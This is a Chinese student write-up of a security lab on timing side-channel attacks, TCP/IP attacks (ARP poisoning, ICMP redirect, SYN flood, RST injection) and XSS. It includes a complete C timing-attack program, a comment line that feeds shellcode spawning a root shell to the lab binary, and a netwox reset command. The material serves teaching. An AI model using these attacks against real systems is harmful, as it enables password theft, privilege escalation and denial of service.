前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >漏洞挖掘——实验11 侧信道攻击+TCP/IP实验

漏洞挖掘——实验11 侧信道攻击+TCP/IP实验

作者头像
全栈程序员站长
发布2022-09-14 09:26:13
6600
发布2022-09-14 09:26:13
举报
文章被收录于专栏:全栈程序员必看

大家好,又见面了,我是你们的朋友全栈君。

漏洞挖掘前言

题目

Lab

侧信道攻击 + TCP/IP实验

Pre

1、用IE访问某些网站的时候,输入javascript:alert(document.cookie)会有什么反应,解释原因。

2、阅读下面两篇文章或者阅读一本书<<JavaScript DOM编程艺术>>: Javascript Tutorial https://www.evl.uic.edu/luc/bvis546/Essential_Javascript_–_A_Javascript_Tutorial.pdf XMLHttpRequest http://www.w3school.com.cn/ajax/ http://www.hunlock.com/blogs/AJAX_for_n00bs

3、了解FireFox的两个插件LiveHttpHeaders和Firebug的基本使用方法。

4、阅读下面这篇文章: 跨站脚本攻击实例解析 http://bbs.pediy.com/showthread.php?t=124209

5、阅读下面这两篇文章: DOM Based Cross Site Scripting or XSS of the Third Kind http://www.webappsec.org/projects/articles/071105.html

XSS (Cross Site Scripting) Cheat Sheet Esp: for filter evasion http://80×86.io/post/xsscrosssitescriptingcheatsheetespforfilterevasion

6、XSS漏洞的触发条件有哪些?应该如何防范?

解答

Lab

侧信道攻击 + TCP/IP实验

一、侧信道攻击

这次测信道攻击的漏洞的主要原因是:1、密码是逐个字符判断的。2、输入正确字符和错误字符造成的判断时间相差较大,由于此两点原因,我们可以根据漏洞程序的执行时间逐步判断密码的每一位字符是否正确,从而最终猜解出密码。

我构写的攻击程序attack.c如下:

代码语言:javascript
复制
//sidechannel S1deCh4nnelAttack3r $(python -c "print '\x90'*1000 + '\x6a\x17\x58\x31\xdb\xcd\x80\x6a\x0b\x58\x99\x52\x68//sh\x68/bin\x89\xe3\x52\x53\x89\xe1\xcd\x80'")
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <sys/time.h>
int main()
{
	char temp[] = { '0','1','2','3','4','5','6','7','8','9','a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z' };
	char now[19] = "";
	long int time[63];
	int num[63];
	int i, j, k;
	pid_t pid;
	for (i = 0; i <= 18; i++)
	{
		memset(num, 0, sizeof(num));
		for (k = 0; k < 20; k++)
		{
			for (j = 0; j < 63; j++)
			{
				now[i] = temp[j];
				struct timeval start, end;
				gettimeofday(&start, NULL);
				if ((pid = fork()) == 0) {
					execl("./sidechannel", "sidechannel", now, "0", (char *)0);
				}
				else {
					waitpid(pid, NULL, 0);
				}
				gettimeofday(&end, NULL);
				time[j] = (end.tv_sec - start.tv_sec) * 1000000 + (end.tv_usec - start.tv_usec);

			}
			int flag;
			if (i < 18)
			{
				long int value = 2147483647;
				for (j = 0; j < 63; j++)
				{
					//printf("%ld ", time[j]);
					if (value > time[j])
					{
						value = time[j];
						flag = j;
					}
				}
			}
			else
			{
				long int value = -1;
				for (j = 0; j < 63; j++)
				{
					//printf("%ld ", time[j]);
					if (value < time[j])
					{
						value = time[j];
						flag = j;
					}
				}
			}
			num[flag]++;
		}
		long int value = -1, Flag;
		for (j = 0; j < 63; j++)
		{
			//printf("%d ", num[j]);
			if (value < num[j])
			{
				value = num[j];
				Flag = j;
			}
		}
		now[i] = temp[Flag];
		printf("%s\n", now);
	}
	return 0;
}

此代码的基本思想就是:对于每个密码字符,循环20遍、每遍都把63个可能字符尝试一次。对于前18个密码字符,每次循环都会记录这次用时最短的字符,最后选取获得“用时最短字符”次数最多的那个字符;对于第19个字符,每次循环都会记录这次用时最长的字符,最后选取获得“用时最长字符”次数最多的那个字符。

这个代码经过我的测试,发现成功率还是非常高的,而且用时也控制的比较合理,30s以内即能得出结果。

运行演示:

漏洞挖掘——实验11 侧信道攻击+TCP/IP实验
漏洞挖掘——实验11 侧信道攻击+TCP/IP实验
漏洞挖掘——实验11 侧信道攻击+TCP/IP实验
漏洞挖掘——实验11 侧信道攻击+TCP/IP实验

攻击成功

二、TCP/IP实验

Task (1) : ARP cache poisoning

三台机器的IP地址为:192.168.43.204、192.168.43.181、192.168.43.23

在每台机器上运行ifconfig命令,得到网络配置信息如下:

漏洞挖掘——实验11 侧信道攻击+TCP/IP实验
漏洞挖掘——实验11 侧信道攻击+TCP/IP实验
漏洞挖掘——实验11 侧信道攻击+TCP/IP实验
漏洞挖掘——实验11 侧信道攻击+TCP/IP实验
漏洞挖掘——实验11 侧信道攻击+TCP/IP实验
漏洞挖掘——实验11 侧信道攻击+TCP/IP实验

在每台机器上运行arp –na命令

漏洞挖掘——实验11 侧信道攻击+TCP/IP实验
漏洞挖掘——实验11 侧信道攻击+TCP/IP实验
漏洞挖掘——实验11 侧信道攻击+TCP/IP实验
漏洞挖掘——实验11 侧信道攻击+TCP/IP实验
漏洞挖掘——实验11 侧信道攻击+TCP/IP实验
漏洞挖掘——实验11 侧信道攻击+TCP/IP实验

该命令的含义是告诉23主机,IP地址为192.168.198.181的MAC地址为00:0c:29:e6:b8:4a(实际上是204的地址)。

漏洞挖掘——实验11 侧信道攻击+TCP/IP实验
漏洞挖掘——实验11 侧信道攻击+TCP/IP实验

在23主机上运行ping 192.168.198.181命令,并抓取该包,得到下面的信息:

漏洞挖掘——实验11 侧信道攻击+TCP/IP实验
漏洞挖掘——实验11 侧信道攻击+TCP/IP实验

虽然网络层IP是请求181主机,但是MAC地址却是204主机的,该包将会被204主机接收和处理,而181主机不会接收和处理该包。

Task (2) : ICMP Redirect Attack

在正常情况下,我们traceroute百度的结果如下(首先要安装traceroute):

漏洞挖掘——实验11 侧信道攻击+TCP/IP实验
漏洞挖掘——实验11 侧信道攻击+TCP/IP实验

为了把181主机访问BBS的包重定向到204主机,204主机需要以路由器(192.168.43.75)的名义发送一个包,通知网关已经更新为204主机。攻击命令如下:

漏洞挖掘——实验11 侧信道攻击+TCP/IP实验
漏洞挖掘——实验11 侧信道攻击+TCP/IP实验

再次在181主机运行前面的命令:

漏洞挖掘——实验11 侧信道攻击+TCP/IP实验
漏洞挖掘——实验11 侧信道攻击+TCP/IP实验

可以看出访问失败

Task (3) : SYN Flooding Attack

在正常情况下,181主机上的telnet连接状态如下

漏洞挖掘——实验11 侧信道攻击+TCP/IP实验
漏洞挖掘——实验11 侧信道攻击+TCP/IP实验

我们用下面的命令对该服务进行SYN洪泛

漏洞挖掘——实验11 侧信道攻击+TCP/IP实验
漏洞挖掘——实验11 侧信道攻击+TCP/IP实验

再次查看telnet的连接状态,可以发现有大量半连接:

漏洞挖掘——实验11 侧信道攻击+TCP/IP实验
漏洞挖掘——实验11 侧信道攻击+TCP/IP实验

将net.ipv4.tcp_syncookies置为0后再次进行攻击,131主机不再进行重置工作,其他的登陆就登陆不上去,而不是之前那样登陆很慢而已。

漏洞挖掘——实验11 侧信道攻击+TCP/IP实验
漏洞挖掘——实验11 侧信道攻击+TCP/IP实验

Task (4) : TCP RST Attacks on telnet and ssh Connections

23主机登陆181主机

漏洞挖掘——实验11 侧信道攻击+TCP/IP实验
漏洞挖掘——实验11 侧信道攻击+TCP/IP实验

查看连接端口为23

漏洞挖掘——实验11 侧信道攻击+TCP/IP实验
漏洞挖掘——实验11 侧信道攻击+TCP/IP实验

204主机攻击

漏洞挖掘——实验11 侧信道攻击+TCP/IP实验
漏洞挖掘——实验11 侧信道攻击+TCP/IP实验

连接被中断:

漏洞挖掘——实验11 侧信道攻击+TCP/IP实验
漏洞挖掘——实验11 侧信道攻击+TCP/IP实验

Task (6) : ICMP Blind Connection-Reset and Source-Quench Attacks

23主机登陆181主机,204主机使用命令sudo netwox 82 — device “Eth0” — filter “host 192.168.1.104 and tcp port 23” — code 2

漏洞挖掘——实验11 侧信道攻击+TCP/IP实验
漏洞挖掘——实验11 侧信道攻击+TCP/IP实验

可以看出,MAC源地址为全0,这个包是由204主机伪造的。

Pre

1、用IE访问某些网站的时候,输入javascript:alert(document.cookie)会有什么反应,解释原因。

这是查看当前网页登录的cookie信息的命令。

直接复制这段话会被浏览器自动识别,过滤掉“javascript”,所以可以先输入“1javascript:alert(document.cookie)”,复制到地址栏后再删掉开头的“1”。

最终查看cookie信息如下:

漏洞挖掘——实验11 侧信道攻击+TCP/IP实验
漏洞挖掘——实验11 侧信道攻击+TCP/IP实验

2、阅读下面两篇文章或者阅读一本书<<JavaScript DOM编程艺术>>:

Javascript Tutorial

https://www.evl.uic.edu/luc/bvis546/Essential_Javascript_–_A_Javascript_Tutorial.pdf

XMLHttpRequest

http://www.w3school.com.cn/ajax/

http://www.hunlock.com/blogs/AJAX_for_n00bs

文章1是一个Javascript的入门教程,从最基础的helloworld教起,把代码copy进txt文档,改后缀名为html,双击即可运行我们的代码。

漏洞挖掘——实验11 侧信道攻击+TCP/IP实验
漏洞挖掘——实验11 侧信道攻击+TCP/IP实验

教程包括各种形式的输入、输出,还有判断、循环等等基本语法知识,也是比较好理解的。

后面的两个网址都拒绝访问了。。。看不到内容。

3、了解FireFox的两个插件LiveHttpHeaders和Firebug的基本使用方法。

LiveHttpHeaders是一款可以用来实时监测发起的http请求和响应,也可以修改请求参数之后重新发起请求的插件,其实就是抓包。在网上看了大致的抓包流程。但是这插件貌似新版的FireFox已经不兼容了,安装会提示失败。

Firebug是firefox下的一个扩展,能够调试所有网站语言,如Html,Css等,但FireBug最吸引人的就是javascript调试功能,使用起来非常方便,而且在各种浏览器下都能使用。但是Firebug貌似也已经停止开发和更新维护,升级成为浏览器内置的DevTools。

4、阅读下面这篇文章:跨站脚本攻击实例解析

http://bbs.pediy.com/showthread.php?t=124209

XSS:跨站脚本,是一种网站应用程序的安全漏洞攻击,是代码注入的一种。它允许恶意用户将代码注入到网页上,其他用户在观看网页时就会受到影响。这类攻击通常包含了HTML以及用户端脚本语言。

这篇文章介绍的是博客大巴存储型XSS漏洞,主要是“附加信息”的内容过滤不严,导致漏洞。文章演示了很多攻击方式利用此漏洞,包括:窃取Cookie、渗透路由器、读取本地文件等。

5、阅读下面这两篇文章:

DOM Based Cross Site Scripting or XSS of the Third Kind

http://www.webappsec.org/projects/articles/071105.html

文章提出了“第三类”XSS攻击,其最大特点是这种类型的攻击不依赖于起初发送到服务端的恶意数据。这与我们上一题中的几种攻击方法显然是矛盾的,但这也是这种方法发特别之处。

文章对于如何不通过服务器实现攻击给出了一个明显的例子:受害者的浏览器接收到这个链接,发送HTTP请求到www.vulnerable.site并且接受到上面的HTML页。受害者的浏览器开始解析这个HTML为DOM,DOM包含一个对象叫document,document里面有个URL属性,这个属性里填充着当前页面的URL。当解析器到达javascript代码,它会执行它并且修改你的HTML页面。倘若代码中引用了document.URL,那么,这部分字符串将会在解析时嵌入到HTML中,然后立即解析,同时,javascript代码会找到(alert(…))并且在同一个页面执行它,这就产生了xss的条件。

这种不依赖于服务端嵌入数据的xss攻击,具有很重要的现实意义,它可以绕过很多现有的检测和防护技术。

XSS (Cross Site Scripting) Cheat Sheet Esp: for filter evasion

http://80×86.io/post/xsscrosssitescriptingcheatsheetespforfilterevasion

文章描述了一种恰当地使用输出转码或者转义防御XSS攻击的简单积极模式。文章给出了7条XSS防御规则:1、不插入不可信数据、在插入不可信数据到HTML元素内容前,执行HTML转义。2、在插入不可信数据到HTML元素通用属性前,执行属性转义。3、在插入不可信数据到JS数据值前,执行JS转义。4、在插入不可信数据到HTML style属性值之前,执行CSS转义并严格校验。5、在插入不可信数据到URL参数值之前,执行URL转义。6、使用专门的库清理掉HTML标签。7、防御DOM Based XSS攻击。

6、XSS漏洞的触发条件有哪些?应该如何防范?

触发条件:

1、插入javascript和vbscript正常字符。

2、转换字符类型

3、插入混淆字符

4、利用CSS代码@import、expression触发XSS漏洞

5、在CSS代码中加入javascript和vbscript脚本

6、转换字符类型,以十六进制字符替换其中或全部的字符

7、插入混淆字符,在css中,/**/是注释字符,除了/**/外,字符”\”和结束符”\0″也是被忽略的,可以用来混淆字符。

防范方法:

XSS防御的总体思路是:对输入(和URL参数)进行过滤,对输出进行编码。

1、编码,就是转义用户的输入,把用户的输入解读为数据而不是代码

2、校验,对用户的输入及请求都进行过滤检查,如对特殊字符进行过滤,设置输入域的匹配规则等。

发布者:全栈程序员栈长,转载请注明出处:https://javaforall.cn/159768.html原文链接:https://javaforall.cn

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 漏洞挖掘前言
  • 题目
    • Lab
      • Pre
      • 解答
        • Lab
          • 一、侧信道攻击
            • 二、TCP/IP实验
              • Task (1) : ARP cache poisoning
              • Task (2) : ICMP Redirect Attack
              • Task (3) : SYN Flooding Attack
              • Task (4) : TCP RST Attacks on telnet and ssh Connections
              • Task (6) : ICMP Blind Connection-Reset and Source-Quench Attacks
            • Pre
              • 1、用IE访问某些网站的时候,输入javascript:alert(document.cookie)会有什么反应,解释原因。
              • 2、阅读下面两篇文章或者阅读一本书<<JavaScript DOM编程艺术>>:
              • 3、了解FireFox的两个插件LiveHttpHeaders和Firebug的基本使用方法。
              • 4、阅读下面这篇文章:跨站脚本攻击实例解析
              • 5、阅读下面这两篇文章:
              • 6、XSS漏洞的触发条件有哪些?应该如何防范?
          领券
          问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档